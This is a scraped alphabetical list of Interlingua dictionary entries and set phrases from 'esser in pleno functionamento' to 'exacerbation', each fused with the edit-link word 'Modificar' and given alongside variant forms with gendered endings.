functionamentoModificar esser in pleno functionamento esser in plen marchaModificar esser in plena marcha esser in plen possession de su facultates mentalModificar esser in plena possession de sus facultates mentales esser in possession deModificar esser in possession del ballonModificar esser in preda al panicoModificar esser in prisionModificar esser in relationes epistolari con un personaModificar esser in relationes epistolarias con una persona esser in retardo a un rendez-vousModificar esser in securitateModificar esser in servicio pagateModificar esser in servicio pagato esser in stato deModificar esser in stato de abandonoModificar esser in stato de comaModificar esser in stato de ebrietate manifesteModificar esser in stato de ebrietate manifesta esser in stato de putrefactionModificar esser in su derectoModificar esser in su elementoModificar esser in tractamentoModificar esser in transitoModificar esser in un complotModificar esser in un currente de aereModificar esser in una currente de aere esser in un position disavantagioseModificar esser in una position disavantagiosa esser in un position privilegiateModificar esser in una position privilegiata esser in un situation deplorabileModificar esser in una situation deplorabile esser in un situation incommodeModificar esser in una situation incommoda esser in un stato de absentia de pesoModificar esser in un stato euphoricModificar esser in un stato euphorico esser in un stato pietoseModificar esser in un stato pietoso esser in usoModificar esser in via de curationModificar esser in vigorModificar esser in vogaModificar esser inaccostumate a un genere de vitaModificar esser [inaccostumato(s) \/ inaccostumata(s)] a un genere de vita esser incantate de un cosaModificar esser [incantato(s) \/ incantata(s)] de una cosa esser incantate de un personaModificar esser [incantato(s) \/ incantata(s)] de una persona esser incapabile de mentirModificar esser incapabile(s) de mentir esser incargate del administrationModificar esser [incargato(s) \/ incargata(s)] de la administration esser incargate del representationModificar esser [incargato(s) \/ incargata(s)] de la representation esser incargate del vigilantia deModificar esser [incargato(s) \/ incargata(s)] de la vigilantia de esser inclinate a facer un cosaModificar esser [inclinato(s) \/ inclinata(s)] a facer una cosa esser incommodate per le calorModificar esser [incommodato(s) \/ incommodata(s)] per le calor esser incompetente in materia de picturaModificar esser incompetente(s) in materia de pictura esser indebitate usque al auresModificar esser [indebitato(s) \/ indebitata(s)] usque a los aures esser indebitate usque al colloModificar esser [indebitato(s) \/ indebitata(s)] usque al collo esser indefense contra le tentationModificar esser [indefenso(s) \/ indefensa(s)] contra la tentation esser indisposite contra un personaModificar esser [indisposito(s) \/ indisposita(s)] contra una persona esser inferior aModificar esser inferior(es) a esser inferior al monstraModificar esser inferior(es) a la monstra esser insolente con un personaModificar esser insolente(s) con una persona esser inter duo focosModificar esser inter duos focos esser inter le vita e le morteModificar esser inter la vita e \/ et la morte esser intercessor pro un personaModificar esser intercessor(es) pro una persona esser interrate con le honores militarModificar esser interrato(s) con los honores militares esser interrate in un avalancheModificar esser [interrato(s) \/ interrata(s)] in una avalanche esser intime con un personaModificar esser [intimo(s) \/ intima(s)] con una persona esser involvite in un controversiaModificar esser [involvito(s) \/ involvita(s)] in una controversia esser involvite in un disputaModificar esser [involvito(s) \/ involvita(s)] in una disputa esser irate contra un personaModificar esser [irato(s) \/ irata(s)] contra una persona =esser irate pro qualcunque cosaModificar esser [irato(s) \/ irata(s)] pro qualcunque cosa esser jelose del libertateModificar esser [jeloso(s) \/ jelosa(s)] de la libertate esser judice in su proprie causaModificar esser judice in su propria causa esser juvene de cordeModificar esser [juvene(s) \/ juveno(s) \/ juvena(s)] de corde esser juvene de spiritoModificar esser [juvene(s) \/ juveno(s) \/ juvena(s)] de spirito esser laborante intensementeModificar esser laborando intensamente esser large de conscientiaModificar esser [largo(s) \/ larga(s)] de conscientia esser latente inModificar esser latente(s) in esser sub le autoritate de un personaModificar esser sub la autoritate de una persona esser le bracio dextere deModificar esser le bracio dextere \/ dextero de esser le bracio dextre deModificar esser le bracio dextre \/ dextro de esser le centro del attentionModificar esser le centro de la attention esser sub le commandamento de un personaModificar esser sub le commandamento de una persona esser le duo bracios del mesme corporeModificar esser los duos bracios del mesmo corpore esser sub le ferula de un personaModificar esser sub la ferula de una persona esser le joculo del fortunaModificar esser le joculo de la fortuna esser le mano derecte de un personaModificar esser la mano derecta de una persona esser sub le menacia deModificar esser sub la menacia de esser le moderator inter duo personasModificar esser le moderator inter duas personas esser le motor del interprisaModificar esser le motor de la interprisa esser le objecto del execration generalModificar esser le objecto de la execration general esser le opprobio de su familiaModificar esser le preda del flammasModificar esser la preda de las flammas esser le reimplaciante deModificar esser le sclavo de su passionesModificar esser le sclavo de sus passiones esser le sclavo de su routineModificar esser le sol recurso de un personaModificar esser le sol recurso de una persona esser le tutor deModificar esser le umbra de un personaModificar esser la umbra de una persona esser legionModificar esser licentiateModificar esser licentiato(s) \/ licentiata(s) esser ligate al monitorModificar esser [ligato(s) \/ ligata(s)] al monitor esser longe de imaginar se queModificar esser lontano del camminoModificar esser maestro de su decisionesModificar esser maestro de sus decisiones esser maestro de su destinoModificar esser maestro de su objectoModificar esser maestro de su subjectoModificar esser maestro del situationModificar esser maestro de la situation esser majoritariModificar esser majoritario(s) \/ majoritaria(s) esser membro del directionModificar esser membro de la direction esser menaciate de (un) ruina totalModificar esser [menaciato(s) \/ menaciata(s)] de (una) ruina total esser moderate in su desiderios \/ desirosModificar esser [moderato \/ moderata] in sus desiderios \/ desiros esser mortalmente pallideModificar esser mortalmente pallido(s) \/ pallida(s) esser mulctateModificar esser mulctato(s) \/ mulctata(s) esser multo occupateModificar esser multo occupato(s) \/ occupata(s) esser mutualmente exclusiveModificar esser mutualmente exclusivo(s) \/ exclusiva(s) esser nascite sub un bon stellaModificar esser [nascito(s) \/ nascita(s)] sub una bona stella esser nulleModificar esser nullo(s) \/ nulla(s) esser nutrite gratisModificar esser [nutrito(s) \/ nutrita(s)] gratis esser objecto de discussionModificar esser obligatorimente assecurateModificar esser obligatoriamente assecurato(s) \/ assecurata(s) esser obstructiveModificar esser obstructivo(s) \/ obstructiva(s) esser occidite in un accidenteModificar esser [occidito(s) \/ occidita(s)] in un accidente esser octogenariModificar esser octogenario(s) \/ octogenaria(s) esser opposite aModificar esser [opposito(s) \/ opposita(s)] a esser pagate convenibilementeModificar esser [pagato(s) \/ pagata(s)] convenibilemente esser parte in un conflictoModificar esser partitario del mano durModificar esser partitario de la mano dura esser penetrate de pietateModificar esser [penetrato(s) \/ penetrata(s)] de pietate esser penetrate de su responsabilitateModificar esser [penetrato \/ penetrata] de su responsabilitate esser pensanteModificar esser pensando esser perfectemente consciente deModificar esser perfectamente consciente(s) de esser perpendicular aModificar esser perpendicular(es) a esser perseveranteModificar esser perseverante(s) esser plen de verveModificar esser [pleno(s) \/ plena(s)] de verve esser plenmente conscie deModificar esser plenamente [conscio(s) \/ conscia(s)] de esser plenmente consciente deModificar esser plenamente consciente(s) de esser plenmente convinciteModificar esser plenamente convincito(s) \/ convincita(s) esser plus catholic que le papaModificar esser plus [catholico(s) \/ catholica(s)] que le papa esser plus morte que viveModificar esser plus morto_que_vivo \/ mortos_que_vivos \/ morta_que_viva \/ mortas_que_vivas esser plus proxime al populoModificar esser plus [proximo(s) \/ proxima(s)] al populo esser plus proxime al veritateModificar esser plus [proximo(s) \/ proxima(s)] a la veritate esser poeta nateModificar esser poeta nato \/ nata esser preda deModificar esser preoccupate per un cosaModificar esser [preoccupato(s) \/ preoccupata(s)] per una cosa esser presente al memoriaModificar esser presente(s) a la memoria esser presente in le menteModificar esser presente(s) in la mente esser preste a tote eventualitateModificar esser [preste(s) \/ presto(s) \/ presta(s)] a tota eventualitate esser presumptuoseModificar esser presumptuoso(s) \/ presumptuosa(s) esser primarimente orientate al mercato AmericanModificar esser primariamente [orientato(s) \/ orientata(s)] al mercato Americano esser prioritariModificar esser prioritario(s) \/ prioritaria(s) esser private deModificar esser [privato(s) \/ privata(s)] de esser private de su derectosModificar esser [privato \/ privata] de sus derectos esser private del vistaModificar esser [privato(s) \/ privata(s)] de la vista esser probanteModificar esser probando esser proclive al indulgentiaModificar esser [proclivo(s) \/ procliva(s)] a la indulgentia esser prodige deModificar esser [prodigo(s) \/ prodiga(s)] de esser profundemente emotionateModificar esser profundamente emotionato(s) \/ emotionata(s) esser profundemente irritateModificar esser profundamente irritato(s) \/ irritata(s) esser profuse in superlativosModificar esser [profuso(s) \/ profusa(s)] in superlativos esser prolixeModificar esser prolixo(s) \/ prolixa(s) esser qualificate pro un postoModificar esser [qualificato(s) \/ qualificata(s)] pro un posto esser receptive al beltate de un paisageModificar esser [receptivo(s) \/ receptiva(s)] a la beltate de un paisage esser recipite calorosementeModificar esser [recipito(s) \/ recipita(s)] calorosamente esser refusate a un examineModificar esser [refusato(s) \/ refusata(s)] a un examine esser reputateModificar esser reputato(s) \/ reputata(s) esser resistente al fatigaModificar esser resistente(s) a la fatiga esser responsabile del bon marcha del cosasModificar esser responsabile(s) de la bona marcha de las cosas esser responsabile del infantesModificar esser responsabile(s) de los infantes esser reunite in un assembleaModificar esser [reunito(s) \/ reunita(s)] in una assemblea esser satisModificar esser sclavo de su routineModificar esser scribite in litteras de auroModificar esser [scribito(s) \/ scribita(s)] in litteras de auro esser scribite in litteras de sanguineModificar esser [scribito(s) \/ scribita(s)] in litteras de sanguine esser sediteModificar esser sedito(s) \/ sedita(s) esser sedite al umbraModificar esser [sedito(s) \/ sedita(s)] a la umbra esser sedite in le penumbraModificar esser [sedito(s) \/ sedita(s)] in la penumbra esser sedite incommodementeModificar esser [sedito(s) \/ sedita(s)] incommodamente esser semper \/ sempre disposite a opinarModificar esser semper \/ sempre [disposito(s) \/ disposita(s)] a opinar esser sin considerationModificar esser sin occupationModificar esser sin pulsoModificar esser sin scrupulosModificar esser specialisate in un cosaModificar esser [specializato(s) \/ specializata(s)] in una cosa esser strictemente tabuModificar esser strictamente tabu esser su proprie judiceModificar esser su proprio judice esser sub le influentia de un personaModificar esser sub la influentia de una persona esser sub parModificar esser sub pressaModificar esser submergite in pensamentos \/ pensatasModificar esser [submergito(s) \/ submergita(s)] in pensamentos \/ pensatas esser submittite a deteriorationModificar esser [submittito(s) \/ submittita(s)] a deterioration esser submittite a un expertiseModificar esser [submittito(s) \/ submittita(s)] a una expertise esser submittite al disciplinaModificar esser [submittito(s) \/ submittita(s)] a la disciplina esser submittite al influentia de un personaModificar esser [submittito(s) \/ submittita(s)] a la influentia de una persona esser subrogate in le derectos de un personaModificar esser [subrogato(s) \/ subrogata(s)] in los derectos de una persona esser sufficientemente habile proModificar esser super carbones ardenteModificar esser super carbones ardentes esser super le puncto deModificar esser super le spinasModificar esser super las spinas esser super le tapeteModificar esser super le tapisModificar esser super parModificar esser super un lecto de rosasModificar esser superior a omne elogioModificar esser superior a tote elogioModificar esser superior numericamenteModificar esser sub supervisionModificar Esser SupremeModificar Esser Supremo esser sub surveliantiaModificar esser surveliate per un monitorModificar esser [surveliato(s) \/ surveliata(s)] per un monitor esser suspecte de heresiaModificar esser [suspecto(s) \/ suspecta(s)] de heresia esser teste deModificar esser thema de discussionModificar esser tormentate de angustias mortalModificar esser [tormentato(s) \/ tormentata(s)] de angustias mortales esser torturate de remorsoModificar esser [torturato(s) \/ torturata(s)] de remorso esser totalmente feliceModificar esser totalmente felice(s) esser totalmente ignoranteModificar esser totalmente ignorante(s) esser tote auresModificar esser [toto(s) \/ tota(s)] aures esser tractate como un intrusoModificar esser tractato como un intruso esser tractate como un reginaModificar esser tractata como una regina esser transportate de gaudioModificar esser [transportato(s) \/ transportata(s)] de gaudio esser transportate de joiaModificar esser [transportato(s) \/ transportata(s)] de joia esser travaliante intensementeModificar esser travaliando intensamente esser sub tutelaModificar esser ubicateModificar esser ubicato(s) \/ ubicata(s) esser un adherente del communismoModificar esser un anima candideModificar esser una anima candida esser un bibitor moderateModificar esser un bibitor moderato esser un exceptionModificar esser una exception esser sub un forte tension psychicModificar esser sub una forte tension psychica esser un mal perditorModificar esser un meravilia de precisionModificar esser una meravilia de precision esser un modello de perfectionModificar esser un regalo pro le aureModificar esser un regalo pro le oculosModificar esser un regalo pro los oculos esser un spina in le oculoModificar esser una spina in le oculo esser un spirito rationalModificar esser un tumbaModificar esser una tumba esser urgenteModificar esser urgente(s) esser utile a un personaModificar esser utile(s) a una persona esser utilisate amplementeModificar esser [utilizato(s) \/ utilizata(s)] amplamente esser sub velaModificar esser victima deModificar esser victima de un facetiaModificar esser victima de una facetia esser victima de un mystificationModificar esser victima de una mystification esser victima de un persecutionModificar esser victima de una persecution esser victorioseModificar esser victorioso(s) \/ victoriosa(s) esser sub vigilantiaModificar esser viventeModificar esseres irrationalModificar esseres irrationales esseres supernaturalModificar esseres supernaturales esser subjecte a dubitaModificar esser [subjecto(s) \/ subjecta(s)] a dubita esser subjecte al modaModificar esser [subjecto(s) \/ subjecta(s)] a la moda essugacapillosModificar essugacapillos [le essugadiscosModificar essugadiscos [le essugamano(s)Modificar essugamano(s) [le essugamobilesModificar essugamobiles [le essugapedesModificar essugapedes [le essugapennaModificar essugapenna [le essugarModificar essugar le nasoModificar essugar se le fronteModificar essugar se la fronte essugar se le manosModificar essugar se las manos essugar se le pedesModificar essugar se los pedes essugatorModificar essugavitrosModificar essugavitros [le essugavitros intermittenteModificar essugavitros intermittente(s) estModificar est [le establimentoModificar establimento agricoleModificar establimento avicoleModificar establimento bancariModificar establimento bancario establimento commercialModificar establimento correctionalModificar establimento de bancaModificar establimento de baniosModificar establimento de creditoModificar establimento de industriaModificar establimento de inseniamentoModificar establimento de instructionModificar establimento de natationModificar establimento de surdemutosModificar establimento del factosModificar establimento de los factos establimento industrialModificar establimento penitentiariModificar establimento penitentiario establimento piscicoleModificar establimento piscicolo establimento publicModificar establimento publico establimento thermalModificar establirModificar establir contactosModificar establir le balancioModificar establir le fundamentos deModificar establir los fundamentos de establir le innocentia de un personaModificar establir la innocentia de una persona establir le saldoModificar establir negotiationesModificar establir seModificar establir su infantesModificar establir sus infantes establir su renomineModificar establir un budgetModificar establir un campamentoModificar establir un campoModificar establir un coloniaModificar establir una colonia establir un fundoModificar establir un impostoModificar establir un maximoModificar establir un precioModificar establir un processo verbalModificar establir un recordModificar establir un regulamentoModificar establishment [A]Modificar establitorModificar est-africanModificar est-africano(s) \/ est-africana(s) est-africanoModificar est-asiaticModificar est-asiatico(s) \/ est-asiatica(s) estateModificar estate [le estate caldissimeModificar estate caldissimo estate calidissimeModificar estate calidissimo estate caloroseModificar estate caloroso estate pluvioseModificar estate pluvioso esterModificar ester [le esteraseModificar esterase [la esterificarModificar esterificar un acidoModificar esterificationModificar esterisarModificar esterizar est-europeeModificar est-europeo(s) \/ est-europea(s) EstfaliaModificar est-germanModificar est-germano(s) \/ est-germana(s) est-germanicModificar est-germanico(s) \/ est-germanica(s) est-germanoModificar esthesiaModificar esthesiogeneModificar esthesiogeno(s) \/ esthesiogena(s) esthesiologiaModificar esthesiologicModificar esthesiologico(s) \/ esthesiologica(s) esthesiometraModificar esthesiometricModificar esthesiometrico(s) \/ esthesiometrica(s) esthesiometroModificar esthesioneurose = esthesioneurosisModificar esthetaModificar estheticModificar esthetico(s) \/ esthetica(s) estheticaModificar esthetica industrialModificar estheticitateModificar esthetisarModificar esthetizar esthetismoModificar esthetismo de Oscar WildeModificar esthetistaModificar estimaModificar estimabileModificar estimabile(s) estimabilitateModificar estimarModificar estimar le damno(s)Modificar estimar le_damno \/ los_damnos estimar multoModificar estimar necessari facer un cosaModificar estimar necessario facer una cosa estimar un cosa in su juste valorModificar estimar una cosa in su justo valor estimar un distantiaModificar estimar una distantia estimar un servicio a su juste valorModificar estimar un servicio a su justo valor estimateModificar estimato(s) \/ estimata(s) estimate collegaModificar estimato \/ estimata collega estimationModificar estimation budgetariModificar estimation budgetaria estimation cauteModificar estimation cauta estimation de BayesModificar estimation de errorModificar estimation del budgetModificar estimation del productionModificar estimation de la production estimation prudenteModificar estimativeModificar estimativo(s) \/ estimativa(s) estimatorModificar estivanteModificar estivante [le \/ la estivarModificar estivationModificar estiveModificar estivo(s) \/ estiva(s) EstoniaModificar estonianModificar estoniano(s) \/ estoniana(s) estonianoModificar estrade [F]Modificar estrade de honorModificar estragonModificar estralModificar estral(es) estraniamentoModificar estraniarModificar estranieModificar estranio(s) \/ estrania(s) estranierModificar estraniero(s) \/ estraniera(s) estranieroModificar estranietateModificar estroModificar estrogeneModificar estrogeno(s) \/ estrogena(s) estrogenoModificar estronModificar estuarialModificar estuarial(es) estuarioModificar estuario de mareaModificar estufaModificar estufa a \/ de carbonModificar estufa a \/ de gasModificar estufa a \/ de oleoModificar estufa a \/ de petroleoModificar estufa de cactosModificar estufa de cocinaModificar estufa de convectionModificar estufa de cucumbres \/ cucumeresModificar estufa de disinfectionModificar estufa de filicesModificar estufa de rosasModificar estufa de tomatesModificar estufa economicModificar estufa economica estufa sin calefactionModificar estufarModificar estufatoModificar estufato de carotasModificar estufatoriaModificar esturdimentoModificar esturdirModificar esturditeModificar esturdito(s) \/ esturdita(s) etage [F]Modificar etage inferiorModificar etage superiorModificar etage terrenModificar etage terreno etages superior de un casaModificar etages superiores de una casa etape [F}Modificar etape contra le horologio per equipasModificar etape de montaniaModificar etateModificar etate [la etate adulteModificar etate adulta etate antiqueModificar etate antiqua etate augusteeModificar etate augustea etate avantiateModificar etate avantiata etate competente pro votarModificar etate de auroModificar etate de bronzoModificar etate de discernimentoModificar etate de ferroModificar etate de \/ del petraModificar etate de \/ de_la petra etate de retiroModificar etate del discretionModificar etate de la discretion etate del fecunditateModificar etate de la fecunditate etate del ferroModificar etate majorModificar etate maturModificar etate matura etate medieModificar etate media etate mesolithicModificar etate mesolithica etate minimeModificar etate minima etate minorModificar etate minor etate neolithicModificar etate neolithica etate nubileModificar etate primariModificar etate primaria etate puberalModificar etate puerilModificar etate scholarModificar etate virilModificar etc (et cetera) [L]Modificar eternalModificar eternal(es) eterneModificar eterno(s) \/ eterna(s) eternisarModificar eternizar eternisar le nomine de un poetaModificar eternizar le nomine de un poeta eternisar un discussionModificar eternizar una discussion eternitateModificar ethanoModificar ethanolModificar ethenoModificar ethereModificar ethere [le ethere de petroleoModificar ethere sulfuricModificar ethere sulfurico ethereeModificar ethereo(s) \/ etherea(s) etherificarModificar etherificar alcoholModificar etherificationModificar etherisarModificar etherizar etherisationModificar etherization etherisation localModificar etherization local etherismoModificar etheromaneModificar etheromano(s) \/ etheromana(s) etheromaniaModificar etheromanoModificar ethicModificar ethico(s) \/ ethica(s) ethicaModificar ethica christianModificar ethica christiana ethica cynicModificar ethica cynica ethica de SpinozaModificar ethica heteronomeModificar ethica heteronoma ethica medicModificar ethica medica ethica medicalModificar ethica medical ethica nietzscheanModificar ethica nietzscheana ethica professionalModificar ethicitateModificar ethicoModificar ethiopeModificar ethiope(s) EthiopiaModificar ethiopicModificar ethiopico(s) \/ ethiopica(s) ethmoidalModificar ethmoidal(es) ethmoideModificar ethmoide(s) adj ethnarchaModificar ethnarcha [le ethnarchiaModificar ethniaModificar ethnicModificar ethnico(s) \/ ethnica(s) ethnicisarModificar ethnicizar ethnicitateModificar ethnobotanicaModificar ethnobotanistaModificar ethnocentricModificar ethnocentrico(s) \/ ethnocentrica(s) ethnocentricitateModificar ethnocentrismoModificar ethnocidioModificar ethnogeniaModificar ethnographiaModificar ethnographicModificar ethnographico(s) \/ ethnographica(s) ethnographoModificar ethnolinguistaModificar ethnolinguisticModificar ethnolinguistico(s) \/ ethnolinguistica(s) ethnolinguisticaModificar ethnologiaModificar ethnologicModificar ethnologico(s) \/ ethnologica(s) ethnologistaModificar ethnologoModificar ethnomusicologiaModificar ethnomusicologicModificar ethnomusicologico(s) \/ ethnomusicologica(s) ethnomusicologistaModificar ethnomusicologoModificar ethnopsychiatriaModificar ethnopsychologiaModificar ethogrammaModificar ethographiaModificar ethographicModificar ethographico(s) \/ ethographica(s) ethologiaModificar ethologicModificar ethologico(s) \/ ethologica(s) ethologistaModificar ethologoModificar ethopeiaModificar ethosModificar ethos [le ethylaminoModificar ethylenoModificar ethylicModificar ethylico(s) \/ ethylica(s) ethyloModificar etiamModificar etiam adv etiologiaModificar etiologicModificar etiologico(s) \/ etiologica(s) etiopatheModificar etiopathe [le etiquettaModificar etiquetta autoadhesiveModificar etiquetta autoadhesiva etiquetta de adresseModificar etiquetta de garantiaModificar etiquetta de precioModificar etiquetta de qualitateModificar etiquetta del corteModificar etiquetta de la corte etiquetta gummateModificar etiquetta gummata etiquettarModificar etiquettar pacchettosModificar EtnaModificar EtruriaModificar etruscModificar etrusco(s) \/ etrusca(s) etruscologiaModificar etruscologicModificar etruscologico(s) \/ etruscologica(s) etruscologoModificar etui [F]Modificar etui a \/ de berillosModificar etui a cigarrettasModificar etui con serratura fulmineModificar etui de compassoModificar etui de passaportoModificar etui penianModificar etui peniano etymoModificar etymologiaModificar etymologia popularModificar etymologicModificar etymologico(s) \/ etymologica(s) etymologisarModificar etymologizar etymologisar un familia de parolasModificar etymologizar una familia de parolas etymologistaModificar etymologoModificar euarcto americanModificar euarcto americano eubacterioModificar eubioticaModificar eucalyptoModificar eucalyptolModificar eucalyptol [le eucaryoteModificar eucaryote [le eucharidioModificar eucharistiaModificar eucharistia eucharisticModificar eucharistico(s) \/ eucharistica(s) euchromaticModificar euchromatico(s) \/ euchromatica(s) euchromatinaModificar euchromosomaModificar EuclidesModificar euclidianModificar euclidiano(s) \/ euclidiana(s) eucrateaModificar eudemoniaModificar eudemonismoModificar eudemonismo de AristoteleModificar eudemonistaModificar eudemonisticModificar eudemonistico(s) \/ eudemonistica(s) eudiometriaModificar eudiometricModificar eudiometrico(s) \/ eudiometrica(s) eudiometroModificar eugeneticModificar eugenetico(s) \/ eugenetica(s) eugeneticoModificar eugenicModificar eugenico(s) \/ eugenica(s) eugenicaModificar eugenistaModificar euglenaModificar EulerModificar eulerianModificar euleriano(s) \/ euleriana(s0 eunuchoModificar eupatorioModificar eupepsiaModificar eupepticModificar eupeptico(s) \/ eupeptica(s) eupepticoModificar euphemiaModificar euphemicModificar euphemico(s) \/ euphemica(s) euphemismoModificar euphemisticModificar euphemistico(s) \/ euphemistica(s) euphoneModificar euphono(s) \/ euphona(s) euphoniaModificar euphonicModificar euphonico(s) \/ euphonica(s) euphonisarModificar euphonizar euphorbiaModificar euphorbia amygdaloideModificar euphorbia palustreModificar euphorbia platyphylleModificar euphorbia platyphylla euphorbia splendenteModificar euphorbiaceasModificar euphoriaModificar euphoria del victoriaModificar euphoria de la victoria euphoria maniacModificar euphoricModificar euphorico(s) \/ euphorica(s) euphorisarModificar euphorizar euphoticModificar euphotico(s) \/ euphotica(s) euphrasiaModificar EuphrateModificar euphuismoModificar euphuistaModificar euphuisticModificar euphuistico(s) \/ euphuistica(s) eurafricanModificar eurafricano(s) \/ eurafricana(s) eurafricanoModificar EurasiaModificar eurasianModificar eurasiano(s) \/ eurasiana(s) eurasianoModificar eurasiaticModificar eurasiatico(s) \/ eurasiatica(s) eureka! [Gr]Modificar eurhythmiaModificar eurhythmia de coloresModificar eurhythmicModificar eurhythmico(s) \/ euthythmica(s) euroModificar euro [le Euro = EurusModificar eurocentricModificar eurocentrico(s) \/ eurocentrica(s) eurochequeModificar eurocommissionModificar eurocommunismoModificar eurocrateModificar eurocrate [le eurodeputatoModificar eurodollarModificar eurofunctionarioModificar EuromercatoModificar EuropaModificar Europa CentralModificar Europa ContinentalModificar Europa del EstModificar Europa del NordModificar Europa del SudModificar Europa del WestModificar Europa medievalModificar Europa MeridionalModificar Europa occidentalModificar Europa OrientalModificar Europa SeptentrionalModificar europarlamentarioModificar europarlamentoModificar europeeModificar europeo(s) \/ europea(s) europeisarModificar europeizar europeisationModificar europeization europeismoModificar europeistaModificar europeitateModificar europeoModificar europeo del sudModificar europhobiaModificar europiumModificar euroscepticModificar eurosceptico(s) \/ eurosceptica(s) euroscepticoModificar eurosocialismoModificar eurostrategicModificar eurostrategico(s) \/ eurostrategica(s) eurosummiteModificar eurosummite [le \/ la euroterrorismoModificar EurovisionModificar eurystomo orientalModificar euscareModificar euscaro(s) \/ euscara(s) euscaroModificar EustachianModificar Eustachiano(s) \/ Eustachiana(s) EustachioModificar eustaticModificar eustatico(s) \/ eustatica(s) eustatismoModificar eutecticModificar eutectico(s) \/ eutetica(s) eutecticoModificar eutexiaModificar euthanasiaModificar euthanasia activeModificar euthanasia activa euthanasia passiveModificar euthanasia passiva euthanasicModificar euthanasico(s) \/ euthanasica(s) euthanaticoModificar eutrophiaModificar eutrophicModificar eutrophico(s) \/ eutrophica(s) eutrophicarModificar eutrophicationModificar eutrophisationModificar eutrophization EvaModificar evacuamentoModificar evacuanteModificar evacuante adj, sub evacuarModificar evacuar le aquaModificar evacuar la aqua evacuar un casaModificar evacuar una casa evacuationModificar evacuation de fecesModificar evacuation urinariModificar evacuation urinaria evacuativeModificar evacuativo(s) \/ evacuativa(s) evaderModificar evader del carcereModificar evader del prisionModificar evader de la prision evaginarModificar evaginationModificar evalutarModificar evalutar le costosModificar evalutar los costos evalutar le damno(s)Modificar evalutar le_damno \/ los_damnos evalutar le numero de visitatoresModificar evalutationModificar evalutation de un distantiaModificar evalutation de una distantia evalutation del costosModificar evalutation de los costos evalutation del impostosModificar evalutation de los impostos evalutation del productionModificar evalutation de la production evanescenteModificar evanescente(s) evanescentiaModificar evanescerModificar evanescimentoModificar evangeliarioModificar evangelicModificar evangelico(s) \/ evangelica(s) EvangelinaModificar evangelioModificar evangelio apocrypheModificar evangelio apocrypho evangelio de \/ secundo JohannesModificar evangelio de \/ secundo LucasModificar evangelio de \/ secundo MarcoModificar evangelio de \/ secundo MattheoModificar evangelio de NatalModificar evangelio del NativitateModificar evangelio de la Nativitate evangelios apocrypheModificar evangelios apocryphos evangelios synopticModificar evangelios synopticos evangelisarModificar evangelizar evangelisationModificar evangelization evangelisatorModificar evangelizator evangelismoModificar evangelistaModificar evangelisticaModificar evangeloModificar evaporabileModificar evaporabile(s) evaporabilitateModificar evaporarModificar evaporar seModificar evaporar un liquidoModificar evaporar un solutionModificar evaporar una solution evaporationModificar evaporation thermalModificar evaporation thermicModificar evaporation thermica evaporativeModificar evaporativo(s) \/ evaporativa(s) evaporatorModificar evaporatoriModificar evaporatorio(s) \/ evaporatoria(s) evaporiteModificar evaporite [la evasionModificar evasion de capitalesModificar evasion de un prisionero de guerraModificar evasion del carcereModificar evasion del prisionModificar evasion de la prision evasion fiscalModificar evasion foris del realitateModificar evasion foris de la realitate evasion in le passatoModificar evasiveModificar evasivo(s) \/ evasiva(s) evasivitateModificar evasorModificar evasor fiscalModificar evectionModificar eveliaModificar eveliarModificar eveliar amorModificar eveliar curiositateModificar eveliar interesseModificar eveliar seModificar eveliar se de su somnolentiaModificar eveliar se de un somnolentiaModificar eveliar se de una somnolentia eveliar se de un sonioModificar eveliar un cosa in un personaModificar eveliar una cosa in una persona eveliatorModificar eveliator a \/ de repetitionModificar eveliator a \/ de repetition eveliator de nove ideasModificar eveliator de viageModificar evellerModificar eveller del oblidoModificar eveller del oblivionModificar eveller de la oblivion eveller le vestimentos del corporeModificar eveller los vestimentos del corpore eveller un cosa al oblidoModificar eveller una cosa al oblido eveller un cosa al oblivionModificar eveller una cosa a la oblivion evenimentialModificar evenimential(es) evenimentoModificar evenirModificar eventoModificar evento exceptionalModificar evento importanteModificar evento memorabileModificar evento mundialModificar evento recenteModificar evento sportiveModificar evento sportivo evento surprendenteModificar eventos calamitoseModificar eventos calamitosos eventos historicModificar eventos historicos eventos imminenteModificar eventos imminentes eventos imprevisibileModificar eventos imprevisibiles eventos periphericModificar eventos periphericos eventos precipitateModificar eventos precipitatos eventrarModificar eventrar le soloModificar eventrar un animalModificar eventrationModificar eventualModificar eventual(es) eventualitateModificar eversionModificar eversion del statoModificar everterModificar evictionModificar evidenteModificar evidente(s) evidentiaModificar evidentiarModificar evincerModificar eviscerarModificar eviscerationModificar evita le contacto con le pelleModificar evita le contacto con la pelle evitabileModificar evitabile(s) evitabilitateModificar evitarModificar evitar difficultatesModificar evitar le apparentiasModificar evitar las apparentias evitar le casa de un personaModificar evitar la casa de una persona evitar le chacoModificar evitar le combattoModificar evitar le complicationesModificar evitar las complicationes evitar le luctaModificar evitar la lucta evitar le mal companiaModificar evitar la mala compania evitar le pena a un personaModificar evitar la pena a una persona evitar le reguardo de un personaModificar evitar le reguardo de una persona evitar le trappa de offsideModificar evitar la trappa de offside evitar un catastropheModificar evitar una catastrophe evitar un discussionModificar evitar una discussion evitationModificar evitatorModificar evoModificar evo antiqueModificar evo antiquo evo medieModificar evo medio evocarModificar evocar a un tribunal superiorModificar evocar le infantiaModificar evocar la infantia evocar le mortosModificar evocar los mortos evocar le passatoModificar evocar spiritosModificar evocar su vita anteriorModificar evocar un problemaModificar evocationModificar evocation a un tribunal superiorModificar evocation del mortosModificar evocation de los mortos evocativeModificar evocativo(s) \/ evocativa(s) evocatoriModificar evocatorio(s) \/ evocatoria(s) evolutaModificar evoluta [la evolutionModificar evolution continueModificar evolution continua evolution convergenteModificar evolution de un maladiaModificar evolution de una maladia evolution del derectoModificar evolution del eventosModificar evolution de los eventos evolution del linguaModificar evolution de la lingua evolution del mercato mundialModificar evolution del pensamentoModificar evolution del pensataModificar evolution de la pensata evolution del preciosModificar evolution de los precios evolution del salario(s)Modificar evolution del_salario \/ de_los salarios evolution del specieModificar evolution de la specie evolution del temporeModificar evolution discontinueModificar evolution discontinua evolution divergenteModificar evolution linguisticModificar evolution linguistica evolution orthogeneticModificar evolution orthogenetica evolution parallelModificar evolution parallela evolution regressiveModificar evolution regressiva evolution tumultuoseModificar evolution tumultuosa evolution turbulenteModificar evolution turbulenta evolutionariModificar evolutionario(s) \/ evolutionaria(s) evolutionismoModificar evolutionismo de DarwinModificar evolutionismo de LamarckModificar evolutionismo de SpencerModificar evolutionistaModificar evolutionisticModificar evolutionistico(s) \/ evolutionistica(s) evolutiveModificar evolutivo(s) \/ evolutiva(s) evolverModificar evolver un filmModificar evonymoModificar evulsionModificar exModificar ex prep, pref ex aequo [L]Modificar ex cathedra [L]Modificar ex officio [L]Modificar ex professo [L]Modificar exacerbarModificar exacerbationModificar 